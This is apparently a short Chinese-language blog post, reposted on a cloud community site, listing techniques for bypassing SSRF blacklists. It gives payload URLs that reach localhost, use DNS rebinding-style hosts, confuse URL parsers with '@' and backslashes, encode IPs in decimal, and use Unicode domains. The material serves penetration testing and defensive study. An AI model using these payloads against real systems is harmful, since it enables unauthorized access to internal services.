SSRF绕过
SSRF绕过
Power7089
发布于 2020-07-27 16:34:08
发布于 2020-07-27 16:34:08
寻找内部服务
http://target.url/home.php?pageid=http://localhost/anyinternalapps/admin.php它可以导致扫描内部运行的服务，但是大多数情况下localhost在黑名单类别中，因此我们需要找到其他进入方法。我提交ssrf的最后一个错误使我进入了弹性搜索，即内部服务正在运行未经身份验证。
pageid=http://127.0.0.1
pageid=http://localhost为此，其他有效载荷可用于绕过：
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22http://spoofed.burpcollaborator.net我们可以使用此主机，它将指向127.0.0.1/ localhost(可以使用域名解析工具测试)。您可以创建自定义子域，并添加DNSA记录，并指出主机127.0.0.1只是简单的
还要检查nip.io它可以帮助您创建自定义域映射，因此您无需经常编辑etc/ hosts文件。因此，无论您是要进行“黑匣子”挑战还是黑匣子方法，它都可以帮助您。
滥用解析器
http://target.url/home.php?pageid=http://target.url#@subhajitsaha.com
http://target.url:80\@subhajitsaha.com:80/
http://target.url:80\@@subhajitsaha.com:80/
http://target.url:80:\@@subhajitsaha.com:80/
http://target.url:80#\@subhajitsaha.com:80/在这里，http://target.url认为该请求是由他们自己的域/IP发出的，因此看起来像是合法请求，因为第三个域/攻击者域没有干扰。将解析'@'并将请求重定向到攻击者域。这就是我们滥用解析器的方式。不同的解析器以不同的方式解析URL模式。
通过IP转换滥用解析器：
我们可以通过将IP的每个8位转换为小数来滥用解析器。
我使用此工具https://www.browserling.com/tools/ip-to-dec将IP地址转换为小数。
例如：
http://target.url/home.php?pageid=http://127.0.0.1
to
http://target.url/home.php?pageid=http://2130706433IP转换和编码会绕过列入黑名单的内容。
有时双重编码也可以绕过。
Unicode滥用
http://target.url/home.php?pageid=http://ⓢⓤⓑⓗⓐⓙⓘⓣⓢⓐⓗⓐ.ⓒⓞⓜ
本文参与 腾讯云自媒体分享计划，分享自微信公众号。
原始发表：2020-05-20，如有侵权请联系 cloudcommunity@tencent.com 删除
评论
登录后参与评论
推荐阅读